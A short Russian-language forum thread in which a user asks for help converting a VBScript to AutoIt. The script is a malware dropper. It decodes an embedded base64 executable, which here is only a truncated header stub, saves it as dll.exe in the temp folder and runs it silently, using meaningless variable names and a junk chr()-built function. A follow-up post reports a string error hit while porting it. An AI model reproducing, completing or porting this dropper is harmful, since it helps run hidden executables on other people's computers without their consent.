Что нового

VBS to Au3

Mute

Новичок
Сообщения
7
Репутация
0
Ребят помогите сконвертить VBS скрипт:
on error resume next
dim medo,sea,medoff
dim maasr
set helper = createobject("Wscript.Shell")
maasr = helper.ExpandEnvironmentStrings("%temp%")
set medo = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
medo.dataType="bin.base64"
medo.text="TVqQAAMAAAAEAAAA=="
set sea= CreateObject("ADODB.Stream")
sea.Type=1
sea.Open
sea.Write medo.nodeTypedValue
sea.SavetoFile maasr & "\dll.exe",2
helper.run(maasr & "\dll.exe")
Function gggggggggggggggg ()
gggggggggggggggg = chr(104) & chr(101) & chr(114) & chr(111)
End function
 
Автор
M

Mute

Новичок
Сообщения
7
Репутация
0
Если делать через переменную $Code, то ругается на строчку $Code &= 'medo.text="TVqQAAMAAAAEAAAA=="' - Unterminated string
 
Верх